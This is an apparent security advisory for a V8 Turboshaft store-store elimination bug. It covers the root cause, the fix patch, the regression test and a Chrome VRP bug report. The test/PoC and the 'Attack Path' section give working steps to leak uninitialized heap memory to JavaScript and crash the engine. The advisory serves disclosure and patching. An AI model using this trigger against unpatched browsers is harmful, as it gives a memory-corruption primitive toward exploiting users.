CVE-2026-84326
Overview
Background
- `Turboshaft`
- V8’s newer optimizing compiler backend that lowers the intermediate representation into machine code through a pipeline of “reducers.”
- Store-store elimination
- An optimization that removes a memory store when a later store to the same location makes the earlier one unobservable (dead).
- `StoreObservability`
- The lattice value (
kObservable/kUnobservable/kGCObservable) tracking whether a store to a given base+offset can be seen before being overwritten. - Loop back-edge
- The control-flow edge from a loop’s last predecessor block back to its header, across which dataflow state must be merged for each iteration.
Root Cause Analysis
The StoreStoreEliminationReducer merges per-block StoreObservability state at each loop header and revisits the loop when the merge changes; when a store like object.target = value appeared both inside and after the loop, the merge concluded the in-loop store to object.target was kUnobservable and eliminated it on revisit. This reasoning is only sound when the base object persists across iterations, but the code failed to account for objects allocated inside the loop body (object = { target: null }), which are freshly created and distinct on every iteration. The violated invariant is that an aliased base tracked as kUnobservable must denote the same allocation across the back-edge; for a loop-local allocation this is false, so eliminating the store leaves the fresh object’s field carrying stale or uninitialized memory when the object escapes (here via holder.prev/holder.y).
The fix adds InvalidateBasesInRange, which at each loop header resets to kObservable every active key whose base was defined within the loop’s block range [block_index, back_edge->index()], forcing those stores to be preserved. It also erases stale entries from eliminable_stores_ and mergeable_store_pairs_ on revisit so a decision from an earlier pass cannot linger and remove a still-needed store.
Attack Path
- Craft the loop
Write JavaScript that allocates a fresh object each iteration (
object = { target: null }), writes a fixed-offset field inside the loop, and writes the same field again after the loop. - Escape the object
Publish the in-loop object to an outer reference (
holder.y/holder.prev) so an earlier iteration’s allocation remains reachable after optimization. - Trigger optimization
Prime the function with
%PrepareFunctionForOptimizationand%OptimizeFunctionOnNextCallso Turboshaft applies store-store elimination and drops the in-loopobject.targetstore. - Observe stale memory
Read the escaped field (
holder.prev.target), which now returns uninitialized/stale contents instead of the value that was supposed to be stored.
Impact Assessment
holder.prev.target === 0x42 and running under --verify-heap indicates the defect manifests as an incorrect heap value detectable by heap verification.Changed Functions
| Function | Change | Notes |
|---|---|---|
forsrc/compiler/turboshaft/store-store-elimination-reducer-inl.h |
modified | |
ifsrc/compiler/turboshaft/store-store-elimination-reducer-inl.h |
modified | |
whiletest/mjsunit/turboshaft/regress-547936520.js |
modified | |
iftest/mjsunit/turboshaft/regress-547936520.js |
modified |
Files Changed
test/mjsunit/turboshaft/regress-547936520.jssrc/compiler/turboshaft/store-store-elimination-reducer-inl.h
Audit Directions
- Loop-local allocations in dataflow mergesAudit any reducer that merges state across loop back-edges to confirm facts about a base are invalidated when that base is redefined (allocated) inside the loop.
- Idempotent loop revisitsCheck that optimizations revisiting a loop clear per-pass decision caches (like
eliminable_stores_/mergeable_store_pairs_) so stale conclusions from an earlier iteration are not reused. - Observability of escaping objectsReview store-elimination and escape analysis where an in-loop object is published to an outer reference, ensuring stores that become externally observable are never treated as dead.
Patch
From 67c8f3a91447f9b8b15c16b6f6d0e1702f02e7a7 Mon Sep 17 00:00:00 2001 From: Darius Mercadier <[email protected]> Date: Fri, 28 Aug 2026 10:31:44 +0200 Subject: [PATCH] [turboshaft] Invalidate in-loop bases in store-store-elimination In a nutshell, if after a loop there is a `a[0] = 42` and in the loop there is also a `a[0] = 42`, when we merging at the header, store-store elimination will decide that `a[0]` is unobservable and when revisiting the loop it will thus eliminate the `a[0] = 42`. In general, this is OK, except if `a` was allocated in the loop itself, since in that case `a` is redefined at each iteration, and the fact that `a[0]` was unobservable at iteration `i` doesn't mean that it won't be at iteration `i+1`. So for instance if the loop stored `a` somewhere and we removed the `a[0] = 42`, then `a[0]` could be observed as stale/uninitialized. Fixed: 547936520 Change-Id: If102dfd81cf69cbddd6375be08f20213991a8b2d Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8308714 Auto-Submit: Darius Mercadier <[email protected]> Reviewed-by: Leszek Swirski <[email protected]> Commit-Queue: Darius Mercadier <[email protected]> Cr-Commit-Position: refs/heads/main@{#109560} --- diff --git a/src/compiler/turboshaft/store-store-elimination-reducer-inl.h b/src/compiler/turboshaft/store-store-elimination-reducer-inl.h index 3c4f4ed..a292ef0 100644 --- a/src/compiler/turboshaft/store-store-elimination-reducer-inl.h +++ b/src/compiler/turboshaft/store-store-elimination-reducer-inl.h @@ -230,6 +230,15 @@ } } + void InvalidateBasesInRange(BlockIndex start, BlockIndex end) { + for (Key key : active_keys_) { + BlockIndex base_block = graph_.BlockOf(key.data().base); + if (base_block >= start && base_block <= end) { + Set(key, StoreObservability::kObservable); + } + } + } + void MarkAllStoresAsGCObservable() { TRACE("> MarkAllStoresAsGCObservable"); for (Key key : active_keys_) { @@ -330,14 +339,26 @@ // If this block is a loop header, check if this loop needs to be // revisited. if (block.IsLoop()) { + Block* back_edge = block.LastPredecessor(); + DCHECK_GE(back_edge->index(), block_index); + // Objects allocated inside the loop body belong to a specific loop + // iteration and are distinct across iterations. We must invalidate + // their store observability across the backedge so that stores to a + // fresh object in one iteration are not incorrectly eliminated by + // stores to an object from the next iteration. + // Note that checking the BlockIndex range [block_index, + // back_edge->index()] is a slight overapproximation since some blocks + // in this range might not belong to the loop. However, this is + // conservative and safe, and using LoopFinder here would be both more + // complicated and significantly more expensive. + table_.InvalidateBasesInRange(block_index, back_edge->index()); + TRACE("Considering Loop revisit for " << block.index()); DCHECK(!table_.IsSealed()); bool needs_revisit = false; table_.Seal(&needs_revisit); TRACE("> needs_revisit=" << needs_revisit); if (needs_revisit) { - Block* back_edge = block.LastPredecessor(); - DCHECK_GE(back_edge->index(), block_index); // We need a +2 to process the backedge at the next iteration: // - the `--processed` at the end of the loop will undo a +1. // - `block_index` is computed with `processed - 1`, which will undo @@ -374,6 +395,14 @@ // For now we consider only stores of fixed offsets of objects on the // heap. if (is_on_heap_store && is_fixed_offset_store) { + // If we're revisiting a loop, then {eliminable_stores_} and + // {mergeable_store_pairs_} might contain {index} because a previous + // visit of the loop decided that it could be eliminated/merged; we + // remove it now and might add it back below if it can still be + // eliminated. + eliminable_stores_->erase(index); + mergeable_store_pairs_->erase(index); + bool is_eliminable_store = false; switch (table_.GetObservability(store.base(), store.offset, size)) { case StoreObservability::kUnobservable: diff --git a/test/mjsunit/turboshaft/regress-547936520.js b/test/mjsunit/turboshaft/regress-547936520.js new file mode 100644 index 0000000..bc017a2 --- /dev/null +++ b/test/mjsunit/turboshaft/regress-547936520.js @@ -0,0 +1,41 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax --verify-heap + +// `pad` ensures `holder.y` is at in-object offset 16 to avoid alias +// collision with `object.target` at offset 12 in StoreStoreElimination. +const holder = { pad: null, y: null, prev: null }; + +function candidate() { + let object; + let sink = 0; + let i = 0; + while (true) { + holder.prev = holder.y; + object = { target: null }; + holder.y = object; + if (i < 6) { + object.target = 0x42; + sink = sink ^ i ^ (sink << 1) ^ (sink << 2) ^ (sink << 3) ^ (sink << 4) ^ + (sink << 5) ^ (sink << 6) ^ (sink << 7) ^ (sink << 8) ^ (sink << 9) ^ + (sink << 10) ^ (sink << 11) ^ (sink << 12) ^ (sink << 13) ^ + (sink << 14) ^ (sink << 15); + i = (i + 1) | 0; + } else { + break; + } + } + object.target = 0x43; + return [object, sink]; +} + +%PrepareFunctionForOptimization(candidate); +candidate(); +candidate(); + +%OptimizeFunctionOnNextCall(candidate); +candidate(); + +assertEquals(0x42, holder.prev.target);
Regression Test / PoC
diff --git a/test/mjsunit/turboshaft/regress-547936520.js b/test/mjsunit/turboshaft/regress-547936520.js
new file mode 100644
index 0000000..bc017a2
--- /dev/null
+++ b/test/mjsunit/turboshaft/regress-547936520.js
@@ -0,0 +1,41 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --verify-heap
+
+// `pad` ensures `holder.y` is at in-object offset 16 to avoid alias
+// collision with `object.target` at offset 12 in StoreStoreElimination.
+const holder = { pad: null, y: null, prev: null };
+
+function candidate() {
+ let object;
+ let sink = 0;
+ let i = 0;
+ while (true) {
+ holder.prev = holder.y;
+ object = { target: null };
+ holder.y = object;
+ if (i < 6) {
+ object.target = 0x42;
+ sink = sink ^ i ^ (sink << 1) ^ (sink << 2) ^ (sink << 3) ^ (sink << 4) ^
+ (sink << 5) ^ (sink << 6) ^ (sink << 7) ^ (sink << 8) ^ (sink << 9) ^
+ (sink << 10) ^ (sink << 11) ^ (sink << 12) ^ (sink << 13) ^
+ (sink << 14) ^ (sink << 15);
+ i = (i + 1) | 0;
+ } else {
+ break;
+ }
+ }
+ object.target = 0x43;
+ return [object, sink];
+}
+
+%PrepareFunctionForOptimization(candidate);
+candidate();
+candidate();
+
+%OptimizeFunctionOnNextCall(candidate);
+candidate();
+
+assertEquals(0x42, holder.prev.target);
Original Bug Report
Turboshaft store-store elimination keeps stale loop-visit decisions and publishes an uninitialized tagged field
Report description
Turboshaft store-store elimination keeps stale loop-visit decisions and publishes an uninitialized tagged field
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://source.chromium.org/chromium/chromium/src
The problem
Please describe the technical details of the vulnerability
RedundantStoreAnalysis revisits loop blocks until MaybeRedundantStoresTable reaches a fixed point, but it immediately inserts rewrite decisions into the append-only eliminable_stores_ and mergeable_store_pairs_ containers. When a later loop visit changes a store from eliminable to required, the earlier decision is not removed. StoreStoreEliminationReducer::ReduceInputGraphStore() subsequently removes every store whose input-graph index remains in eliminable_stores_ (v8/src/compiler/turboshaft/store-store-elimination-reducer-inl.h).
The attached JavaScript produces one JSObject allocation in a statically bounded loop. The allocation initializes its tagged in-object target field, publishes the object through holder.y, and the loop body overwrites target. The loop is large enough to avoid loop peeling and unrolling, while its static iteration count allows LoopStackCheckElisionReducer to remove the loop JSStackCheck before store-store elimination (v8/src/compiler/turboshaft/loop-unrolling-reducer.cc, v8/src/compiler/turboshaft/loop-unrolling-reducer.h, and v8/src/compiler/turboshaft/load-elimination-phase.cc).
On the first backward visit, the initialization store is classified as kUnobservable and added to eliminable_stores_. After allocation makes the loop state kGCObservable, the loop-body overwrite is eliminated and the initialization store is revisited as an initializing store that must be kept. The analysis preserves the final kGCObservable state but does not remove the initialization store from eliminable_stores_. The rewrite therefore removes both the initialization and loop-body overwrite while preserving publication.
The resulting object map describes a live tagged field at offset +12, but optimized code has not written that slot. Allocation residue is exposed as a JavaScript value. Depending on the reused contents, the value can be a stale Smi, a genuine HeapObject pointer, or a malformed compressed tagged pointer that crashes when consumed.
PoC
The attached poc.js keeps the preceding loop-body object in a fixed holder.prev field, performs ordinary calls until TurboFan/Turboshaft optimization is installed, and then reads the preceding object’s target field. The arithmetic loop body exists only to keep the loop above the peeling and partial-unrolling size limits and lowers to live Word32 operations without heap reads, calls, bounds checks, or allocations in the optimized graph.
Reproduce
Confirmed with the official asan-v8-sandbox-testing-linux-release-1680586.zip
ASAN_OPTIONS='detect_leaks=0:halt_on_error=1:abort_on_error=1:symbolize=1:external_symbolizer_path=/path/to/llvm-symbolizer:handle_segv=2' \
/path/to/d8 \
--run-as-security-poc \
--no-wasm-trap-handler \
/path/to/poc.js
handle_segv=2 and --no-wasm-trap-handler are used only to let AddressSanitizer own SIGSEGV and print the attached canonical report. The PoC does not use WebAssembly, and the same fault reproduces without these logging-only options.
Impact analysis
Impact analysis
Optimized code publishes a JSObject whose map declares a live tagged in-object field even though the corresponding initialization and loop-body store are both absent. Reused heap contents are interpreted as tagged values and become observable to JavaScript.
The cause
What version of Chrome have you found the security issue in?
153.0.8010.0
Is the security issue related to a crash?
Yes, it is related to a crash.
Choose the type of vulnerability
Memory Corruption (in a sandboxed process)